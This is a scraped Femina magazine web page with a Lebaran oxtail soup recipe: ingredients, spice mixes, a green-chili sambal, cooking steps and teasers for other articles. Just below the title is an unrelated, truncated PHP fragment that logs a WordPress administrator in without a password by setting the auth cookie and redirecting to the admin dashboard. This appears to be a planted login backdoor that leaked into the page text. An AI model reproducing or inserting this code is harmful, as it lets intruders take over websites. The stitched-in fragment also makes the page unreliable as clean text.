Resep Hidangan Lebaran: Sup Buntut

user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */

Daging

19 May 2019

Foto: Adelli Arifin

Kuahnya yang segar selalu menjadi incaran saat sup ini hadir di atas meja hidang. Tak ada salahnya jika kali ini ia hadir untuk menjamu tamu di saat Lebaran.

Resep racikan chef Pasya Hardiman, Instuktur di Arkamaya Culinary Education ini sangat sederhana. Tak repot karena tidak menggunakan bumbu halus. Segar!

400 buntut sapi
1 l air
1 buah wortel
2 batang bawang daun
1 sdm kaldu sapi bubuk
½ sdt gula pasir
½ sdt garam
200 g kentang, potong dadu 2 cm
Bumbu I, sangrai:
6 butir cegkih
3 buah kapulaga
1 sdt merica hitam
1 buah pekak
½ butir biji pala
Bumbu II, tumis:
1 sdm minyak sayur
6 butir bawang merah, iris
6 siung bawang putih, iris
75 g bawang bombay, iris
Sambal:
2 sdm minyak sayur
6 buah cabai hijau besar
16 buah cabai hijau keriting

10 buah cabai rawit hijau
6 siung bawang putih
½ sdt garam
½ sdt gula pasir
1 buah jeruk limau, ambil airnya
Pelengkap:
Wortel, potong-potong, rebus
Tomat, potong-potong
Bawang goreng
Emping

1/ Rebus buntut sapi hingga mendidih. Tiriskan buntut, buang air rebusannya.
2/ Rebus kembali buntut dengan 1 liter air, wortel, dan bawang daun. Masukkan bumbu I, rebus hingga mendidih.
3/ Masukkan bumbu II, kaldu sapi bubuk, gula, dan garam. Masak di atas api kecil dan panci tertutup hingga buntut sapi empuk.
4/ Masukkan kentang, masak hingga kentang matang. Angkat.
5/ Sambal: Panaskan minyak, tumis semua cabai dan bawang hingga layu. Ulek hingga halus sambil ditambahkan garam dan gula. Beri jeruk limau, aduk rata.
6/ Sajikan Sup Buntut dengan pelengkap dan sambal.

Tonton langkah-langkah pembuatannya dalam video Resep Hidangan Lebaran Femina: Sup Buntut

Topic
#sup , #buntutsapi , #hidanganlebaran , #hdl2019

Sup Buntut

Sup Daging Vietnam

Terbesar! 320 Jenama Ikut Meramaikan Brightspot Market 2025

Future Archive jadi tema Brightspot Market 2025 yang digelar pada 29 Mei-1 Juni dan 5-8 Juni 2025.

Besok, Hidangan dari Buku Pusaka Rasa Nusantara Karya Chef Ragil Ada di Conrad Bali

Memperkenalkan buku istimewa, menunjukkan ke warga Bali akan kayanya Nusantara.

Disney On Ice: Find Your Hero Bakal Tampil di Jakarta dan Surabaya

Siapa yang sudah rindu karakter Disney yang meliuk-liuk di atas es? Siapkan dirimu untuk kehadiran Disney On Ice presents Find Your Hero.

recommended

Menikmati Tradisi yang Terus Bergerak di SU MA Volume 6, Passage

Chef Brendon Chen dan Chef Ryan Kim membawa SU MA ke babak berikutnya dan Femina diajak mencoba.

VW Tour, Movie Night, hingga Floating Dinner, Cara Menikmati Sisi Lain Kamandalu Ubud

Aktivitas seru yang membuatnya jadi destinasi menarik bersama para bestie!

5 Cara Lebih Mindful Menghadapi Situasi Saat Ini

Dunia lagi ramai, kamu nggak harus ikut panik.

5 Cara Menikmati Tengah Minggu Meski Lagi Sibuk-sibuknya

Belum juga akhir pekan, tapi kamu keburu Lelah fisik dan mental?

Produk Hairstyling Terbaru Ini Membantu Menjaga Kelembapan Alami Rambut

Segera hadir di Pekan Raya Jakarta 2026, tiga produk terbaru Panasonic Beauty yang lebih dari sekadar alat menata rambut.

Kagetkan Fans, Sooyoung dan Jung Kyung-ho Putus Setelah 14 Tahun Bersama

Di saat fans mengira mereka sedang mempersiapkan pernikahan, kabar ini jatuh seperti bom.

about

Femina is a magazine for smart, independent, modern Indonesian women.

digital magazine

Available at :

(021) 250 333 28
langganan@pranagroup.id